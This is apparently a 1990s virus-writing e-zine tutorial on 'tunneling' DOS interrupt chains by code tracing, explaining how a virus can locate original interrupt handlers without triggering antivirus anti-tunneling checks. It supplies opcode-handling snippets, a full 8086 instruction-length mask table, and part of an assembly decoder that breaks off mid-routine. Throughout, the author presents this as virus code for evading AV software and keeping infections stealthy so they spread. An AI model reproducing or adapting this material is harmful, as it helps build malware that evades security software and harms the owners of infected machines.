Tunneling
with
Code Tracing

        .--------------.
        | Introduction |
        '--------------'
        Welcome to the wonderfull world of tunneling with code tracing.  If you
    have absolutely no idea what single step tunneling is (ie: you have not yet
    reached the level of tunneling marsupial) then go back and read document one in
    this series (which you can steal from http://www.ikx.org/xine).  Heck, why live
    as an amoeba, wiggling about in chemical soup devouring micro-organisms, when
    you can be a fully grown marsupial, stealing crocodile eggs.

        Anyway, as you'll remember, where we last left off, you had learnt about
    the pitfalls of single step mode.  To quickly recap, it can be detected by AV
    software, single step mode isn't compatible with some software out there such
    as DESQView, and just generally, single stepping stinks :)

        So, this is where code tracing comes in.  Code tracing is important to
    learn, because it'll open your eyes to all the posibilities of tunneling,
    proving that there -IS- life after single step mode, and coding a code tracer
    will help you in lots of other forms of tunneling too.  On top of this, it
    looks really cool, and well, "code tracing" sounds cool ;)  Best of all, it
    can't activate AV software anti-tunneling mechanisms, which is going to be its
    main selling point throughout this document.

    -----------------------------------------------------------------------------
    Section 1:  Code tracing, the basics
    -----------------------------------------------------------------------------
        Code tracing was publicly 'invented' in September 1993, when a virus writer
    called Khontark released his "Recursive Tunneling Toolkit".  His code was
    *VERY* compact, and hey, back then it worked.  However, people in the VX
    community generally rejected it, because of how easy it was TO fool it... and
    yet, even today, it does a pretty good job of getting past AV software, simply
    because even though it CAN be fooled, no-one has been bothered putting actual
    code in to fool it (hehehe, it can't tunneling through DESQView though).

        Code tracing is pretty much a dead art, at least, it hasn't been revived
    much since Khontark gave it a try.  However, the problems of 1993's code
    tracers can be easily fixed with enough coding ingenuity.  Stability can be
    increased past the expectations of even people who hate code tracers, with no
    noticeable speed decrease (noticeable meaning less than 1/2 a second increase
    in tracing time).  The only problem is code space, but an extra 1k or so on
    your virus won't do any harm, and things can *ALWAYS* be optimized...

        So, it's time to tell you how code tracers actually work.  To put it
    simply, they try to follow the flow of execution in an interrupt chain, without
    executing any of that code.  They do this by looking at the opcodes that WOULD
    execute if the interrupt was run... and checking if they are JMP/CALL
    instructions, etc, and if they are, they are followed and tracing continues.
    This continues until the tracer hits the original interrupt entrypoint, using
    the same methods as single step tunnelers.

        That may sound a little hard to understand, but re-read it a few times and
    it'll come to you.  It's simple.  For example, say we point DS:SI to the
    entrypoint of an interrupt.  Then, we take the word of memory at that location
    and compare it against the opcodes of the JMP and CALL instruction series.  If
    there's a match, DS:SI is updated, and we continue tracing, if not, we look at
    the next memory location and loop around again checking the word of memory.  Of
    course, there are problems with using this *EXACT* method of tracing, but
    you'll learn more about them when we take a more in-depth look later on.

        .-----------.
        | Overrides |
        .-----------'------------------------------------------------------------.
        | CS:                02eh        1 byte                                  |
        | DS:                03eh        1 byte                                  |
        | ES:                026h        1 byte                                  |
        | SS:                036h        1 byte                                  |
        '------------------------------------------------------------------------'
        The first type of 'opcode' we should check against, are the segment
    overrides.  You'll remember these happy little fellows from document one and
    the OPCODE CHECK method of tunneling, and you'll remember that we need to
    recognize them to correctly handle a following JMP or CALL that references
    memory (for instance JMP FAR PTR CS:[ORIGINAL_13]).  Since we are not executing
    instructions... the only value of a segment register we know for sure is CS:,
    and as such, if we encounter an instruction such as the one above, but with
    another segment override, we have to abort, as we don't know where to get the
    address to flow to from.

        .-----.
        | JMP |
        .-----'------------------------------------------------------------------.
        | JMP SHORT          0ebh        2 bytes    mov al, [si+1]               |
        |                                           cbw                          |
        |                                           add si, ax                   |
        |                                           add si, 2                    |
        | JMP NEAR (immed)   0e9h        3 bytes    add si, [si+1]               |
        |                                           add si, 3                    |
        | JMP NEAR (mem)     0ffh, 026h  4 bytes    mov si, [si+2]               |
        |                                           mov si, [si]                 |
        | JMP FAR (immed)    0eah        5 bytes    mov ax, [si+3]               |
        |                                           mov si, [si+1]               |
        |                                           mov ds, ax                   |
        | JMP FAR (mem)      0ffh, 02eh  4 bytes    mov si, [si+2]               |
        |                                           mov ax, [si+2]               |
        |                                           mov si, [si]                 |
        |                                           mov ds, ax                   |
        '------------------------------------------------------------------------'
        JMP instructions are pretty easy to handle (from here on the instruction
    tables include code so you can see what is happening if DS:SI is our pointer
    and it was pointing to the JMP).  Most of the jump instructions work by giving
    you an offset, and you simply add that to your SI plus the length of the
    instruction.  However, in both JMP FAR and JMP NEAR with memory access, you
    simply get a new [DS:]SI.  Notice that this is only EXAMPLE code, we will
    actually handle JMP SHORT's differently in our end tracer for reasons you'll
    discover later.

        .------.
        | CALL |
        .------'-----------------------------------------------------------------.
        | CALL NEAR (immed)  0e8h        3 bytes    mov ax, si                   |
        |                                           add ax, 3                    |
        |                                           push ax                      |
        |                                           add si, [si+1]               |
        |                                           add si, 3                    |
        | CALL NEAR (mem)    0ffh, 016h  4 bytes    mov ax, si                   |
        |                                           add ax, 4                    |
        |                                           push ax                      |
        |                                           mov si, [si+2]               |
        |                                           mov si, [si]                 |
        | CALL FAR (immed)   09ah        5 bytes    mov ax, si                   |
        |                                           add ax, 5                    |
        |                                           push ds                      |
        |                                           push ax                      |
        |                                           mov ax, [si+3]               |
        |                                           mov si, [si+1]               |
        |                                           mov ds, ax                   |
        | CALL FAR (mem)     0ffh, 01eh  4 bytes    mov ax, si                   |
        |                                           add ax, 5                    |
        |                                           push ds                      |
        |                                           push ax                      |
        |                                           mov si, [si+2]               |
        |                                           mov ax, [si+2]               |
        |                                           mov si, [si]                 |
        |                                           mov ds, ax                   |
        '------------------------------------------------------------------------'
        CALL instructions are handled just like their corresponding JMP
    instructions, however, we save the value of the next instruction onto the
    stack, so that when we also emulate RET instructions, we can fully trace the
    flow of execution.  Once again, this is example code for an extremely simple
    tracer, which we will not be using.

        .-----.
        | RET |
        .-----'------------------------------------------------------------------.
        | IRET               0cfh        1 byte     pop si                       |
        |                                           pop ds                       |
        | RET NEAR           0c3h        1 byte     pop si                       |
        | RET FAR            0cbh        1 byte     pop si                       |
        |                                           pop ds                       |
        | RET NEAR (immed)   0c2h        3 byte     pop si                       |
        | RET FAR (immed)    0cah        3 byte     pop si                       |
        |                                           pop ds                       |
        '------------------------------------------------------------------------'
        The RET family is pretty easy to handle, the only real things you need to
    look out for is the RETs with pop values and IRET.  Since a copy of the flags
    will never be pushed onto the stack (because we don't emulate PUSHF/POPF, there
    is no need as we never know the status of the flags register), we don't try to
    pop this value off.  Usually the RET instructions with pop values simply use
    the pop values field to get rid of passed paramaters to a routine, or skip
    popping the flags off of the stack if an interrupt was executed/emulated.
    Since no registers other than DS:SI are ever on the stack, we just treat the
    pop values as 0, otherwise we get into complications.

    -----------------------------------------------------------------------------
    Section 2:  Keeping our code tracer healthy
    -----------------------------------------------------------------------------
        One of the major problems with Khontark's code tracer, was its ability to
    hang the machine.  Obviously, a virus which hangs a computer whenever an
    infected file is executed will not propogate very far, and is likely to arouse
    great suspicion.  However, Khontark can't really be blamed, as he was aiming
    for fast speed and low space.  Anyway, there are lots of things you need to
    deal with to stop your computer from hanging.

        .-----------.
        | The quirk |
        '-----------'
        We'll start off with the simple stuff.  In INTEL CPU's (and maybe other
    clones, I'm not sure), there is a really strange undocumented(?) quirk we need
    to watch out for.  If we ever read a WORD value from the last BYTE of a
    segment, what do you think would happen?  At first, you may think we'd get the
    last byte of the segment as half of the word, and the other half of the word
    we'd get from the first byte of the segment.  However, this does *NOT* happen,
    what happens is that our computer hangs and memory managers go crazy with
    exception errors.

        So much for being stealthy if every program that is infected causes
    problems for the computer :)  So, what can we do?  Well, we make sure we don't
    read a word from the end of a segment!  Alternatively, we can simply check our
    fake IP for a value of about 0FFF8h... and abort if that is the case.  This
    isn't too bad an idea, and it takes up much less code than checking EVERY read
    from memory for an end-of-segment value.  It would be really rare to have an
    instruction in the last few bytes of a segment, so we shouldn't worry too much
    about incompatability.

        .---------------------------------------.
        | Proper care and feeding of your stack |
        '---------------------------------------'
        The stack is just like any other animal, if you overfeed it, it dies...
    starve it, and it dies as well.  Most of all, if the stack dies, just like an
    animal, the rotting corpse of a dead animal is likely to arouse suspicion in
    your neighbourhood ;)  So, now you need to learn about the proper care and
    feeding of your stack.  First, we need to make sure we don't feed it to much.
    To do this, we need to get to know about the stack you'll be working with.

        In a .COM file, the stack is in the same segment as your code segment and
    grows downwards.  In an .EXE file, the stack can either be the same as in a
    .COM file, or, alternatively, it can reside in another segment and grow down
    from the starting SP to 0.  So, we simply save the lowest possible value which
    we can allow the stack to grow down to (the most we can feed it without killing
    it), and on each PUSH we do in our code, we make sure we don't go past that
    value.  However, say a friendly neighbour next door is feeding our stack
    (animal) every now and again some scraps, we may overfeed it and the stack
    dies.  So, be sure to keep a little extra space free for unexpected feedings
    (hardware interrupts, etc, etc) during your trace.  A small amount of 20 words
    (snacks) or so will suffice greatly.

        Now, we have to make sure we don't starve our stack to death :)  This
    means, we save our SP on entry to the tracer, and if we ever POP values past
    that point, we know something went wrong, and we abort the tracing.  That isn't
    too hard is it?  On top of this, if we find an error during our tracing, we can
    restore our SP value on exit, so as to not screw our stack up with all the
    values we used in our tracing code (think of it as bringing our animal back to
    life with magic after someone overfeeds it).

        .-------------.
        | Termination |
        '-------------'
        Now, we need to know how we can terminate our tracer.  Of course, we can
    use segment checks, etc, like you learnt about in document one... however, what
    if something goes wrong and we never end up reaching the original entrypoint,
    what would we do then?  Luckily, due to the way we are keeping our stack nice
    and healthy, it can be good to us, like a healthy dog catching a stick you
    throw for it.

        When we start up our tracer, we push two fake values onto the stack, as if
    we were calling the interrupt itself (the values themselves don't matter, and
    we do not need a 3rd value for the flags, these are never used on our normal
    IRET/RETF code anyway).  Then, if our code ever pops these two values off of
    the stack, we know we've properly exited the interrupt, and although we might
    not have found our entrypoint (we MIGHT have found it if we were using the
    OPCODE CHECK method of finding it, etc), we have exited the tracing code with
    no errors, a good sign.  At least we didn't hang!

    -----------------------------------------------------------------------------
    Section 3:  Dealing with the 'other' opcodes
    -----------------------------------------------------------------------------
        You'll notice that I didn't mention what we do if our current opcode ISN'T
    one of the 'important' ones I listed above.  Well, the reason is because there
    are two ways you can go about handling these opcodes, and the discussion is
    large enough and comprehensive enough to deserve its own section.

        The usual method of handling unknown opcodes is to simply increment the SI
    and look at the next value, and keep going until we find the opcode we're
    looking for.  However, this is exactly where Khontarks tunneler went wrong,
    because with such a strategy, this is what happens.  Remembering that JMP FAR
    with a memory reference has an opcode is 0eah (from the tables I gave you in
    section 1)... and by taking my word that MOV BX, word-immediate is 0bbh, we can
    create a hypothetical instruction such as that below.

            Instruction                             Opcode
           '-----------'                           '------'
            MOV BX, 000EAH                          0bbh, 0eah, 00

        So, basically, say this is the start of the interrupt handler, and the
    first thing for the tracer to see is '0bbh'.  It doesn't understand this
    opcode, so it goes onto the next opcode, '0eah', which it sees as a FAR JMP
    with a memory reference.  This is *NOT* good because then our tracer gets the
    next 2 words as its new offset:segment value, and blam, we've been screwed into
    tracing into unknown memory.  From here, all sorts of things can go wrong, and
    quite possibly the computer will hang without the proper precautions that I
    presented in section 2.

        It was for reasons such as this that Khontarks tunneler was disliked.
    However, the reason he didn't fix this up is because of sheer code size.  Think
    for example, of somehow storing all the INTEL opcodes in a big table with each
    ones corresponding size.  To be blunt, all the instructions INTEL made up have
    either a one byte or one word opcode, and then various lengths of data bytes
    following, depending on the actual value of the opcodes.  Okay, well, lets just
    say we set up a table of every word opcode INTEL could use, with a length byte
    following.  Lets do some maths!

            Possible number of opcodes:         10000h
            Number of bytes per table entry:        3 bytes
                                               '------'
                                                30000h bytes

        Yes, just for their word opcodes, we need roughly 200 decimal kilobytes to
    hold this table.  Of course INTEL hasn't used *EVERY* possible combination of
    opcode!  However, there's no way of knowing which opcodes it has/hasn't used,
    and even if we did, heck, that's still going to be a motherfucker of a table to
    type out and test.

        So, what alternatives do we have?  Well, I'm not sure this is *THE* best
    way, but, I worked out something called the 'Complex Mask Tables', (c)1996
    Methyl aka The Pirate Prince :)  How can a complex mask table help us?  Well,
    whereas our previous table would have been 200k at MOST, and a HELL of alot of
    typing, our complex mask table compresses this down to less than 300 bytes and
    includes a lot less typing (especially since I'll give you a fully complete
    example table) :)

        Before we go into diagrams and examples of a complex mask table, first you
    must understand the idea behind it.  INTEL wasn't so dumb as to randomly select
    numbers for every type of instruction out there, it followed general rules in
    describing most of its instruction set.  Usually, one byte opcodes which
    complement each other, such as STI and CLI have only 1 bit that differs between
    the two.  Also, in word instructions, they set things out in a complex format,
    which we'll quickly glaze over here.

        In a word opcode (usually), we have our first byte, and our second byte.
    The first byte usually determines the instruction itself, size of register to
    be used or data length to access if a memory operand is given.  Meanwhile, the
    second byte has information on if we are accessing registers or memory, how we
    are accessing this data, etc, etc, etc.  Between common word instructions, the
    format of the second field stays constant with slight variations in the
    bitfields of the first byte.  Also, we can work out the length of an
    instruction via the information we can gain from the second byte.  So, if we
    can 'group' instructions together by leaving out the bits which change between
    them, we can then setup an algorithm to work out our instruction length from
    the second byte, and our table is suddenly smaller.  If this isn't clear yet,
    read on, because it's easier to understand when you see it in action.

    -------------------------------------------------------------------------------
    |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

        Layout of a table entry:  Size    Description
                                 '----'  '-----------'
                                  byte    field descriptor byte
                               byte/word  MASK value
                             repeat
                                  byte    length encoding information
                                  var.    CMP value
                                  var.    CMP value or doesn't exist
                             until no CMP values left

        Field descriptor byte:   |7|6|x|x|3|2|1|0|
                                 | | |   |       |
                                 '.'.'-.-'--.----'
                                  | |  |    |
               .------------------' |  |    '----.
               ^                    |  |         ^
            0=Opcode prefix is byte |  |      Total number of CMP values to process
            1=Opcode prefix is word |  '---.
                                    |      |
               .--------------------'      |
               ^                           ^
            FIXUP                          Not used, so available for storing info
            0=No fixup neccessary          should you expand my table definition
            1=FIXUP needed

        Length encoding information: |7|6|5|4|3|2|1|0|
                                     |   2   |   1   |
                                     '.------'.------'
                                      ^       ^
                                      Grouped into nibbles, describing the total
                                      length of instruction should the CMP value
                                      of the field match.  Although only 3 bits
                                      are ever actually needed for this value,
                                      less decoding is needed with a complete
                                      word format such as this.

    |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
    -------------------------------------------------------------------------------

        Okay, so you just saw the layout of my complex mask table.  Of course, you
    could make your own format up, but, this should do you and me for a very long
    time.  It's best not to fret anyway, we'll have to completely redesign the
    thing from scratch in document four (maybe) :)

        Anyway, as you can see, we set up a table of entries, which is described in
    the diagrams above.  Our entry begins with a field descriptor byte, which will
    tell our table decoder, which is tracing an opcode value through our table,
    information it needs to know to decode the fields.

        First, it tells wether MASK and CMP values are byte or words, and as such,
    wether we are testing for a byte or word opcode in this entry (as it is
    beforehand unknown wether what value you have is word or byte, so you load up a
    word to trace and go through until either a byte or word match is found).  Next
    is the FIXUP bit, which is used to fixup a strange quirk in many of INTEL's
    instructions that make them incompatible with complex mask tables.  Finally, we
    have 2 spare bits for you to add extra info on with into my table should you
    chose to do so, and the last four bits tell our decoder how many CMP values we
    will be processing.

        Now that we know the layout of the rest of our field, our decoder ANDs the
    opcode it is testing against the next field, which is a byte or word depending
    on the information it gets from the field descriptor byte.  This will mask off
    any different bit fields of instructions with similar layouts but just a few
    stray bits between them.

        After this, the count of CMP values we have in our field descriptor byte
    comes into play.  The rest of our entry is filled with a repetition of length
    encoding byte, and one or two CMP values, until there are no more CMP values
    left.  For example, here is the layout of 3 entries, with 1, 3, and 6 CMP
    fields respectively:

        length      length      length
        cmp         cmp         cmp
                    cmp         cmp
                    length      length
                    cmp         cmp
                                cmp
                                length
                                cmp
                                cmp

        You get the idea.  Now, when our decoder has finished ANDing the stray bits
    off of the opcode, it compares the resultant opcode with the current CMP value.
    If a match occurs, it gets the total instruction length from the data encoded
    in the length encoding information byte.  If the first CMP value matches, the
    length is in the bits 3-0, if the second CMP value matches, it is the bits 7-4.
    Each 2 CMPs has its own length encoding information byte.

        Well, I think it's time for an example.  For our example entry, we'll use a
    fairly complex instruction... INC (increment).  Increment comes in two forms,
    INC [register] and INC [register/memory].  INC [register] is a one byte long
    opcode and its format is as follows.  The bit layout is '001000xxx' where xxx
    is a value depending on which register we are going to increment.  Each
    register (AX, BX, etc) has its own 3 bit value which we could plug into here
    should we want to.  This means, in a one-byte simple table format (instruction
    value:length), we'd be set out like this:

            db 001000000xb, 1
            db 001000001xb, 1
            db 001000010xb, 1
            db 001000011xb, 1
            db 001000100xb, 1
            db 001000101xb, 1
            db 001000110xb, 1
            db 001000111xb, 1

        That's 16 bytes wasted on ONE relatively simple implementation of ONE
    instruction.  However, we're not here to complain about how my format is
    better, we're here to teach you how to set up an entry, so here we go.

        First, we need to begin setting up our field descriptor byte.  So far, we
    know we're a byte opcode, with no FIXUP, and the number of CMPs we need is (so
    far, to you) unknown.  Then, we need our mask value which will be a byte long.
    Since we need to cover ALL types of this instruction, we mask off the
    unimportant bits.  How do we do this?

            001000???xb
       AND  011111000xb
           '---------'
            001000000xb

        Blam, we've elimated all the unimportant bits, and are left with only one
    value no matter which register we use with INC.  This means we have one CMP
    value, which we now know as 001000000xb and we set our number of CMPs in the
    field descriptor byte to 1.  Now, we know the length of our instruction will
    always be one byte, so our length encoding information is set to '000000001xb'
    (the first 4 bits don't matter at all, since they won't be used since we're
    using only one CMP value).  We are left with our table entry as this:

            db 000000001xb
                ||     '------> 1 CMP value
                |'------------> No fixup needed
                '-------------> Byte opcode
            db 011111000xb ---> ANDs out register bits
            db 000000001xb ---> if - 1st CMP match : total length is 1 byte
                                   - 2nd CMP match : NULL (no 2nd CMP)
            db 001000000xb ---> Our CMP value

        And thats our entry FINISHED!  However, we have a second example, the INC
    [register/memory] variant.  This is, quite a bit more complex than our previous
    example but you're so smart I'm sure you'll get it in a snap.  This variant of
    INC is 2 bytes long, and is setout as follows:
            01111111Wxb, 0XX000ZZZxb

        The first 7 bits are always constant, and the last bit is 0 if the register
    or memory location to be incremented is a byte, or 1 if it is a word.  XX and
    ZZZ have special meaning though.  XX (for this example) varies the total
    instruction length as follows:
            00 = 2 bytes
            01 = 3 bytes
            10 = 4 bytes
            11 = 2 bytes

        However!  If xx=0 AND zzz=110, then our total instruction length will be 4
    bytes long!  Why?  Well, it's not worth getting into right now, just know that
    this happens.  For all the other XX values, ZZZ doesn't matter at all. This is
    the reason we have the FIXUP bit.  If our instruction is set out like INC, we
    set the FIXUP bit, and when our decoder decodes our table entry, it will add a
    check to make sure if XX=00 and ZZZ=110 then the proper modifications to
    instruction length will be made.  Why is it like this?  Well, if we DON'T add
    this, then we can't mask off the ZZZ field, which we *REALLY* need to do,
    otherwise our table size will bloat to many kilobytes.

        Back to setting up our table entry :)  We have a word long opcode, which
    needs fixup, with unknown CMP values.  We also know we need to mask out the 'w'
    bit as it won't affect instruction length, and that we need the last 3 bits of
    'zz000xxx' to be destroyed (as our decoder will handle the XX=0 ZZZ=110
    exception).  Also, we know we have 4 variations of XX, and therefore 4 types of
    CMP to compare, so we can finish of our field descriptor byte, cmp values, and
    length encoding bytes.  Here's our end table entry:

            db 011000100xb
                ||     '------> 4 CMP values
                |'------------> FIXUP needed
                '-------------> Word opcode
            db 011111110xb, 011111000xb
                         '----> ANDs out 'w' and 'zzz' bits
            db 000110010xb ---> if - 1st CMP match : total length is 2 bytes
                                   - 2nd CMP match : total length is 3 bytes
            db 011111110xb, 000000000xb
                         '----> CMP value 1
            db 011111110xb, 001000000xb
                         '----> CMP value 2
            db 000100100xb ---> if - 1st CMP match : total length is 4 bytes
                                   - 2nd CMP match : total length is 2 bytes
            db 011111110xb, 000000000xb
                         '----> CMP value 1
            db 011111110xb, 001000000xb
                         '----> CMP value 2

        Phew!  Now that's over it's time to look at space savings.  In a simple
    table format, we take up 378 bytes, and in our complex mask table format we
    take up 13 bytes :)  Pretty neet huh?  But that's not all!!!  We can save EIGHT
    times as much as this by using this VERY SAME entry size!  Keep reading!

        Think back to the layout of the bitfields in our INC instruction, which are
    '01111111wxb, 0xx000zzzxb', and take a close look at the 000 in the second
    byte.  Well, INTEL was very smart in combining the types of lots of its
    instructions into this very same format, except the 000 is 001 and 010 etc.
    With a bit of quick math, you'll work out there's 8 such instructions, 1 of
    which is INC.  So, if we can mask out these bits, we'll have the same 13 byte
    entry instead of a corresponding 3024 byte entry in simple table entry format
    which will handle 8 different instructions!!!  How do we do this?  Look at the
    new table entry below:
            db 011000100xb
            db 011111110xb, 011000000xb
                                '----> ANDs out 'w', '000' and 'zzz' bits
            db 000110010xb
            db 011111110xb, 000000000xb
            db 011111110xb, 001000000xb
            db 000100100xb
            db 011111110xb, 000000000xb
            db 011111110xb, 001000000xb

        Done!  This is how we can save OODLES of space in our table entry, allowing
    us to setup lengths for every instruction in INTELs set without having to worry
    too much about a 200k big table :)  INTEL has littered 'common' instructions
    like this all through its instruction set, and so the space savings are up to
    you and how well you can write MASK values.  Of course, complex mask tables
    aren't the ONLY way of doing things!  However, it is all I've been able to
    think of :)

        Of course, I may not be the best on combining MASK values, but, I've done
    pretty well.  Also, we've succeeded in creating a viable method for handling
    stray opcodes other than incrementing the instruction pointer by 1, and
    spending further time to shave off 30 or so bytes isn't really worth the
    effort.  Maybe you can work something out better than a complex mask table, or
    make a more compact definition, or even use a totally different concept all
    together, but until then...

        Anyway, you've just taken a walk through the concept of complex mask
    tables, and I hope you enjoyed it :)  To save you all the time and frustration
    of fitting all of INTELs set into my table format, I've already done it all for
    you!  MAYBE I have one or two bits wrong throughout the whole table, but I've
    tested it out a few times and as far as I can see nothing is wrong with it :)
    Anyway, we end up with a table size of 253 bytes, a MASSIVE saving on 200k :)
    Woo!  Time to see the fruits of our (my) labour, don't you think?

    -----------------------------------------------------------------------------
    Section 4:  (8086/8088) COMPLETE Complex Mask Table!
    -----------------------------------------------------------------------------
    instruction_table_start:
        db 000000001xb
        db 011110000xb
        db 000000001xb
        db 010010000xb                  ; CBW/CWD/POPF/PUSHF/SAHF/WAIT/CWDE/LAHF
                                        ; XCHG [reg, accumulator]
        db 000000001xb
        db 011110110xb
        db 000000001xb
        db 011110100xb                  ; CLD/STD/CMC/HLT

        db 000000011xb
        db 011111100xb
        db 000100001xb
        db 011111000xb                  ; CLC/STC/CLI/STI
        db 011100000xb                  ; LOOP[N]E/JCXZ
        db 000000001xb
        db 011110000xb                  ; REP[NE]/LOCK

        db 000000001xb
        db 011110100xb
        db 000100001xb
        db 010100100xb                  ; CMPS[B|W]/MOVS[B|W]/LODS[B|W]/SCAS[B|W]

        db 000000001xb
        db 011100000xb
        db 000000001xb
        db 001000000xb                  ; [DEC|INC|PUSH|POP] register

        db 000000001xb
        db 011000110xb
        db 000000001xb
        db 000000110xb                  ; AAA/AAS/DAA/DAS
                                        ; PUSH/POP [segment register]
        db 000000001xb
        db 011111000xb
        db 000000001xb
        db 010010000xb                  ; XCHG [register, accumulator] / NOP

        db 000000001xb
        db 011111110xb
        db 000000010xb
        db 011010100xb                  ; AAD/AAM [including wierd format]

        db 000000001xb
        db 011111110xb
        db 000000001xb
        db 001100000xb                  ; [PUSH|POP]A

        db 000000001xb
        db 011111110xb
        db 000000001xb
        db 010011100xb                  ; [POPF|PUSHF]

        db 000000010xb
        db 011111100xb
        db 000100001xb
        db 011101100xb
        db 011100100xb                  ; [IN|OUT] variable port|fixed port

        db 000000010xb
        db 011111101xb
        db 000010010xb
        db 011001101xb
        db 011001100xb                  ; IRET|INT [variable|3|overflow]

        db 000000001xb
        db 011111110xb
        db 000000001xb
        db 010101010xb                  ; STOS[B|W]

        db 000000001xb
        db 011111111xb
        db 000000001xb
        db 011010111xb                  ; XLAT

        db 011000100xb
        db 011111000xb, 011000000xb
        db 000110010xb
        db 011011000xb, 000000000xb
        db 011011000xb, 001000000xb
        db 000100100xb
        db 011011000xb, 010000000xb
        db 011011000xb, 011000000xb ; ESC

        db 011000100xb
        db 011111110xb, 011000000xb
        db 000110010xb
        db 011000100xb, 000000000xb
        db 011000100xb, 001000000xb
        db 000100100xb
        db 011000100xb, 010000000xb
        db 011000100xb, 011000000xb ; LDS/LES

        db 011000100xb
        db 011111100xb, 011000000xb
        db 000110010xb
        db 010001000xb, 000000000xb
        db 010001000xb, 001000000xb
        db 000100100xb
        db 010001000xb, 010000000xb
        db 010001000xb, 011000000xb ; MOV [reg/mem] with register

        db 000000001xb
        db 011111100xb
        db 000000011xb
        db 010100000xb              ; MOV memory with accumulator

        db 000000010xb
        db 011111000xb
        db 000100011xb
        db 010111000xb
        db 010110000xb              ; MOV reg, immediate

        db 000000010xb
        db 011111111xb
        db 000110010xb
        db 010101000xb
        db 010101001xb              ; TEST accumulator, immediate

        db 011000100xb
        db 011000100xb, 011000000xb
        db 000110010xb
        db 000000000xb, 000000000xb
        db 000000000xb, 001000000xb
        db 000100100xb
        db 000000000xb, 010000000xb
        db 000000000xb, 011000000xb ; [ADC|ADD|AND|CMP|OR|SBB|SUB|XOR]
                                    ; [reg/mem] with register
        db 011000100xb
        db 011111100xb, 011000000xb
        db 000110010xb
        db 011010000xb, 000000000xb
        db 011010000xb, 001000000xb
        db 000100100xb
        db 011010000xb, 010000000xb
        db 011010000xb, 011000000xb ; [RCR|RCL|ROR|ROL|SHR|SHL|SAR|SAL]

        db 011000100xb
        db 011110100xb, 011000000xb
        db 000110010xb
        db 010000100xb, 000000000xb
        db 010000100xb, 001000000xb
        db 000100100xb
        db 010000100xb, 010000000xb
        db 010000100xb, 011000000xb ; XCHG/TEST/LEA/POP
                                    ; [register/memory], [register/memory]
                                    ; MOV [segreg/mem], [segreg/mem]
        db 011000100xb
        db 011111111xb, 011000000xb
        db 001000011xb
        db 010000011xb, 000000000xb
        db 010000011xb, 001000000xb
        db 000110110xb
        db 010000011xb, 010000000xb
        db 010000011xb, 011000000xb ; [ADC|ADD|AND|CMP|OR|SBB|SUB|XOR]
                                    ; [reg/mem], immediate (word)  <-- WIERD format
        db 011001000xb
        db 011111101xb, 011000000xb
        db 001000011xb
        db 010000000xb, 000000000xb
        db 010000000xb, 001000000xb
        db 000110101xb
        db 010000000xb, 010000000xb
        db 010000000xb, 011000000xb ; [ADC|ADD|AND|CMP|OR|SBB|SUB|XOR]
                                    ; [reg/mem], immediate (byte)
        db 001010100xb
        db 010000001xb, 000000000xb
        db 010000001xb, 001000000xb
        db 001000110xb
        db 010000001xb, 010000000xb
        db 010000001xb, 011000000xb ; [ADC|ADD|AND|CMP|OR|SBB|SUB|XOR]
                                    ; [reg/mem], immediate (word)
                                    ; Make sure WIERD series is handled first
        db 011001000xb
        db 011111111xb, 011000000xb
        db 001000011xb
        db 011000110xb, 000000000xb
        db 011000110xb, 001000000xb
        db 000110101xb
        db 011000110xb, 010000000xb
        db 011000110xb, 011000000xb ; MOV [reg/mem], immediate (byte)
        db 001010100xb
        db 011000111xb, 000000000xb
        db 011000111xb, 001000000xb
        db 001000110xb
        db 011000111xb, 010000000xb
        db 011000111xb, 011000000xb ; MOV [reg/mem], immediate (word)

        db 011001000xb
        db 011111111xb, 011000000xb
        db 001000011xb
        db 011110110xb, 000000000xb
        db 011110110xb, 001000000xb
        db 000110101xb
        db 011110110xb, 010000000xb
        db 011110110xb, 011000000xb ; TEST [reg/mem], immediate (byte)
        db 001010100xb
        db 011110111xb, 000000000xb
        db 011110111xb, 001000000xb
        db 001000110xb
        db 011110111xb, 010000000xb
        db 011110111xb, 011000000xb ; TEST [reg/mem], immediate (word)

        db 000000010xb
        db 011000111xb
        db 000110010xb
        db 000000100xb
        db 000000101xb              ; [ADC|ADD|AND|CMP|OR|SBB|SUB|XOR]
                                    ; acummulator, immediate
        db 011000100xb
        db 011110110xb, 011000000xb
        db 000110010xb
        db 011110110xb, 000000000xb
        db 011110110xb, 001000000xb
        db 000100100xb
        db 011110110xb, 010000000xb
        db 011110110xb, 011000000xb ; [CALL|DEC|INC|JMP|PUSH|???] reg/memory
                                    ; [NOT|NEG|MUL|DIV|IMUL|IDIV|???] reg/memory
                                    ; Also handles TEST by accident... so make
                                    ; sure this is *AFTER* TEST cases have been
                                    ; handled else we'll use the wrong formula
    instruction_table_end:

    -----------------------------------------------------------------------------
    Section 5:  Complex mask table decoder
    -----------------------------------------------------------------------------
        Well all that was nice and fine.  We have our table definition, and we have
    our table, except, all this is useless if the computer doesn't understand our
    table format, and as such, we need to start writing a decoder which will accept
    an opcode and work out the full length of the instruction by decoding the table
    entry fields until it finds a match.

        Before we start, let's make a few assumptions.  The first assumption, is
    that we've already handled all the other opcodes we need to, such as any
    segment overrides.  Also, we handle all our JMPs/CALLs etc earlier on because
    they're special instructions and we don't want them intefering with our table.
    For our little routine, we'll assume our instruction is in AX on entry and that
    we return the number to add the IP in the AX register.  BX will also be cleared
    to indicate a successfull match.  If we don't find a match, however, we set
    BX=1 and AX=1.

    entry_ax   dw 0         ; AX on entry to table decoding routine
    cmp_loops  db 0         ; number of CMPs left to process
    need_fixup db 0         ; FIXUP flag

    table_decoder proc near
        push cs
        pop es
        mov [es:entry_ax], ax
        lea di, [instruction_table_start]
        jmp decode_start
    decode_equal:
        cmp [es:need_fixup], 0
        je no_fixup
        mov ax, [es:entry_ax]
        and ah, 011000111xb
        cmp ah, 0110xb
        jne no_fixup
        add dl, 2
    no_fixup:
        mov al, dl
        cbw
        xor bx, bx
        ret
    decode_error:
        mov ax, 1
        mov bx, 1
        ret
    decode_start:
        cmp di, offset instruction_table_end
        je decode_error
        mov ax, [es:entry_ax]
        mov bl, [es:di]
        and bl, 01111xb
        mov [es:cmp_loops], bl
        mov cl, [es:di]
        mov bl, [es:di]
        and cl, 001000000xb
        mov [es:need_fixup], cl
        inc di
        and bl, 010000000xb
        jz byte_entry

    word_entry:
        mov bx, [es:di]
        and ax, bx
        inc di
        inc di
    word_do_cmp:
        mov dl, [es:di]
        and dl, 01111xb
        mov bx, [es:di+1]
        cmp ax, bx
        je _decode_equal
        dec [es:cmp_loops]
        jz word_next_first
        mov dl, [es:di]
        mov cl, 4
